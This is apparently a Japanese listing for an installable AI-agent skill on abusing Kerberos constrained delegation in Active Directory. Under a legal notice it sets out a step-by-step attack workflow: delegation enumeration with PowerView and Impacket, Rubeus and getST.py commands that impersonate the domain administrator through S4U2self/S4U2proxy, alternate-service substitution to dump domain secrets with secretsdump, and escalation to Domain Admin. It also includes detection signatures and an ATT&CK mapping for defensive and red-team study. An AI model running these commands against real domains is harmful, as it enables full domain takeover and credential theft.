mcpField
E
exploiting-constrained-delegation-abuse

exploiting-constrained-delegation-abuse

github.com/mukul975セキュリティ35.2k83 回インストール8 週間前に更新
リポジトリ

exploiting-constrained-delegation-abuse について

Active Directoryの制約付き委任を評価する、許可を得たレッドチームやペネトレーションテスター向けのセキュリティテストスキルです。設定の列挙、S4Uによるチケット要求、関連する検知指標を扱います。

主な機能

  1. 01制約付き委任のアカウントと対象の列挙
  2. 02S4U2selfとS4U2proxyによるチケット要求
  3. 03代替サービス名とプロトコル遷移のテスト
  4. 04チケット要求と委任設定変更の兆候特定

活用シーン

  1. 01許可を得たテストで委任設定のリスクを評価
  2. 02管理された環境で攻撃痕跡を分析
  3. 03委任の悪用を検知する仕組みの構築

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-constrained-delegation-abuse

インストール後、Claude Code で/exploiting-constrained-delegation-abuseを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py

詳細

制約付き委任の悪用

法的通知: このスキルは、許可されたセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する不正使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

概要

Kerberos 制約付き委任(KCD)は、サービスがユーザーになりすまして、そのユーザーに代わって特定のサービスにアクセスできるようにする Windows Active Directory の機能です。委任先は、msDS-AllowedToDelegateTo 属性で定義されます。攻撃者が、制約付き委任が設定されたアカウント(特に TRUSTED_TO_AUTH_FOR_DELEGATION フラグが設定されたアカウント)を侵害すると、Kerberos プロトコル拡張である S4U2self および S4U2proxy を使用して、委任先サービスに対する任意のユーザー(Domain Admins を含む)としてのサービスチケットを要求できます。委任先に、ドメインコントローラー上の CIFS、HTTP、LDAP などのサービスが含まれている場合、ドメイン全体が侵害されます。S4U2self 拡張は、侵害されたサービスに対する任意のユーザーに代わる転送可能チケットを要求し、S4U2proxy はそのチケットを許可された委任先に転送します。

使用する場面

  • 制約付き委任の悪用を伴う、許可されたセキュリティテストを実施する場合
  • 管理された環境でマルウェアサンプルや攻撃の痕跡を分析する場合
  • レッドチーム演習やペネトレーションテストを実施する場合
  • 攻撃手法の理解に基づいて検知機能を構築する場合

前提条件

  • レッドチームの概念とツールに関する知識
  • 安全に実行するためのテスト環境またはラボ環境へのアクセス
  • 必要な依存関係をインストールした Python 3.8 以降
  • あらゆるテスト活動に対する適切な許可

目標

  • ドメイン内で制約付き委任が設定されているアカウントを列挙する
  • 価値の高いサービスの委任先(msDS-AllowedToDelegateTo)を特定する
  • S4U2self と S4U2proxy を悪用して Domain Admin になりすます
  • 特権ユーザーとして、委任されたサービスのサービスチケットを取得する
  • 対象ホスト上の委任されたサービス(CIFS、LDAP、HTTP)にアクセスする
  • 制約付き委任の悪用を通じて Domain Admin に権限昇格する

MITRE ATT&CK マッピング

  • T1558.003 - Kerberos チケットの窃取または偽造:Kerberoasting
  • T1550.003 - 代替認証情報の使用:チケットの受け渡し
  • T1134.001 - アクセストークンの操作:トークンのなりすまし/窃取
  • T1078.002 - 有効なアカウント:ドメインアカウント
  • T1021 - リモートサービス

ワークフロー

フェーズ 1:制約付き委任の列挙
  1. PowerView を使用して、制約付き委任が設定されたアカウントを見つけます。
    # Find users with Constrained Delegation
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # Find computers with Constrained Delegation
    Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # Using AD Module
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
    
  2. Impacket の findDelegation.py を使用します。
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. BloodHound CE を使用します。
    MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
    RETURN c.name, c.allowedtodelegate
    
  4. TRUSTED_TO_AUTH_FOR_DELEGATION フラグ(プロトコル遷移)を確認します。
    # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
    
フェーズ 2:Rubeus による悪用(Windows)
  1. 制約付き委任アカウントのパスワードまたはハッシュがある場合:
    # Request TGT for the constrained delegation account
    Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
    
    # Perform S4U2self + S4U2proxy to impersonate administrator
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /ptt
    
    # Alternative: specify alternate service name
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
    
  2. 単一のコマンドで TGT の要求と S4U を組み合わせます。
    Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
    
フェーズ 3:Impacket による悪用(Linux)
  1. S4U プロトコル拡張を介してサービスチケットを要求します。
    # Using getST.py with S4U
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
    # Using hash instead of password
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
      -dc-ip 10.10.10.1 domain.local/svc_sql
    
    # Use the obtained ticket
    export KRB5CCNAME=administrator.ccache
    smbclient.py -k -no-pass domain.local/[email protected]
    
フェーズ 4:代替サービス名の悪用
  1. Kerberos サービスチケットはチケット内の SPN と照合されないため、SPN の置き換えが可能です。
    # Request CIFS ticket, then use it for LDAP (DCSync)
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -altservice LDAP/DC01.domain.local \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/[email protected]
    
  2. この手法が機能するのは、チケット内のサービス名がセッションキーに暗号学的に結び付けられていないためです。
フェーズ 5:プロトコル遷移攻撃
  1. アカウントに TRUSTED_TO_AUTH_FOR_DELEGATION が設定されている場合:
    # S4U2self obtains a forwardable ticket without requiring the user to authenticate
    # This means we can impersonate ANY user without their password
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
  2. TRUSTED_TO_AUTH_FOR_DELEGATION が設定されていない場合、S4U2self チケットは転送不可となり、S4U2proxy は失敗します(リソースベースの制約付き委任を使用する場合を除く)。

ツールとリソース

ツール用途プラットフォーム
RubeusS4U Kerberos チケット操作Windows (.NET)
getST.pyS4U サービスチケット要求(Impacket)Linux (Python)
findDelegation.py委任の列挙(Impacket)Linux (Python)
PowerViewAD 委任の列挙Windows (PowerShell)
BloodHound CE委任経路の視覚的な分析Docker
Kekeo高度な Kerberos ツールキットWindows

委任タイプの比較

タイプ属性範囲攻撃の複雑さ
非制約TRUSTED_FOR_DELEGATION任意のサービス低(TGT を取得)
制約付きmsDS-AllowedToDelegateTo特定の SPN中(S4U の悪用)
制約付き+プロトコル移行+ TRUSTED_TO_AUTH_FOR_DELEGATION特定の SPN中(ユーザー認証が不要)
リソースベース(RBCD)msDS-AllowedToActOnBehalfOfOtherIdentityターゲット上中(書き込み可能な属性)

検出シグネチャ

指標検出方法
S4U2self チケット要求イベント 4769 で、通常とは異なるサービスと偽装を確認
S4U2proxy 転送チケットイベント 4769 で、委任フラグが設定されていることを確認
チケット内の代替サービス名要求された SPN と実際のサービスアクセスとの不一致
Rubeus.exe の実行EDR によるプロセス検出、コマンドラインのログ記録
委任構成の変更msDS-AllowedToDelegateTo の変更に関するイベント 5136

検証基準

  • 制約付き委任が設定されたアカウントを列挙した
  • 委任先(msDS-AllowedToDelegateTo)を特定した
  • ターゲットユーザーの S4U2self チケットを取得した
  • S4U2proxy チケットを委任先に転送した
  • 委任されたサービスへの特権アクセスを検証した
  • 代替サービス名への置換をテストした
  • プロトコル移行機能を評価した
  • チケットのエクスポートとアクセスの証明を含む証拠を文書化した

コメント